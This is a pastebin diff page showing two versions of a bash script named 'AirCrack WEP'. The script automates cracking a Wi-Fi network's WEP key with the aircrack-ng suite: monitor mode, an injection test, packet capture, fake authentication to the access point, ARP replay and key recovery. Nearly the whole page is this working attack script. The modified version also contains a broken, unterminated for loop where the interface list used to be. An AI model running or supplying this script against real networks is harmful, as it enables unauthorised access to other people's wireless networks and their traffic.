pastebin - collaborative debugging tool
kpaste.net RSS

Difference between
modified post 3330bd7c by Phoenix on Sun 1st Aug 2010 02:18
original post 2d0 by Phoenix on Sun 1st Aug 2010 01:27
Download diff
Show old version | new version | both versions

    
11
#!/bin/bash
33
# Variables: $iface, $BSSID, $ESSID, $chan, $MAC
55
echo "AirCrack WEP"
66
echo
88
# ask for wifi interface
99
echo "Available Interfaces:"
10-
ifconfig -l | tr ' ' '\n'
10+
for i in `cat /proc/net/dev | grep ':' | cut -d ':' -f 1`
11+
do
1115
echo
1216
while [[ -z $iface ]] || ! ifconfig $iface &>/dev/null; do
1317
	echo -n "Specify WiFi Interface (probably wlan0 or ath0) "
1418
	read iface
1519
done
1721
echo
1923
# get wifi card MAC address
2024
MAC=`ifconfig $iface | awk '/ether/{print$2}'`
2226
# ask for basestation MAC address
23-
while [[ -z $BSSID ]] || [[ -z `echo $BSSID | grep -P [a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]` ]]; do
27+
while [[ -z `echo $BSSID | grep -P [a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]` ]]; do
24-
	echo -n "Specify Basestation MAC Address "
28+
	echo -n "Specify Basestation MAC Address: "
2529
	read BSSID
2630
done
2832
echo
3034
# ask for network name
31-
while [ -z $ESSID ]; do
35+
while [[ -z $ESSID ]]; do
32-
	echo -n "Specify Wireless Network Name "
36+
	echo -n "Specify Wireless Network Name: "
3337
	read ESSID
3438
done
3640
echo
3842
# ask for channel
39-
while [[ -z $chan ]] || [[ $chan -lt 1 ]] || [[ $chan -gt 14 ]]; do
43+
while [[ $chan -lt 1 ]] || [[ $chan -gt 14 ]]; do
40-
	echo -n "Specify Channel No. [1-14] "
44+
	echo -n "Specify Channel No. [1-14]: "
4145
	read chan
4246
done
4448
echo
4650
# put card in monitor mode
4751
echo "Putting card in monitor mode..."
48-
for i in `seq 0 9`; do
52+
for i in {0..9}; do
4953
	airmon-ng stop mon$i &>/dev/null
5054
done
5256
airmon-ng start $iface $chan
5458
echo
5660
# injection test
5761
aireplay-ng -9 -e $ESSID -a $BSSID mon0 &
5862
read -p "Was the injection test successful? [Y/n] "
5963
echo
6064
[[ $REPLY == n ]] && echo "AP is probably too far away, Exiting..." && exit
6266
# capture packets
6367
REPLY=n
6468
while [[ $REPLY == "n" ]]; do
6569
	read -p  "Start Capturing Packets? [Y/n] "
6670
done
6771
xterm -e airodump-ng -c $chan --bssid $BSSID -w output mon0 &
6973
echo
7175
# fake auth
7276
REPLY=n
7377
while [[ $REPLY == n ]]; do
7478
	if [[ $picky != y ]]; then
7579
		aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MAC mon0
7680
	else
7781
		aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $BSSID -h $MAC mon0
7882
	fi
7983
	echo
8084
	read -p "Was fake authentication successful? [Y/n] "
8185
	echo
8286
	[[ $REPLY == n ]] && picky=y
8387
done
8589
# listen for ARP
8690
xterm -e aireplay-ng -3 -b $BSSID -h $MAC mon0 &
8892
# start aircrack
8993
read -p "Press [ENTER] when ready to start aircrack"
9094
xterm -e aircrack-ng -b $BSSID output*.cap &

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with {%HIGHLIGHT}




All content is user-submitted.
The administrators of this site (kpaste.net) are not responsible for their content.
Abuse reports should be emailed to us at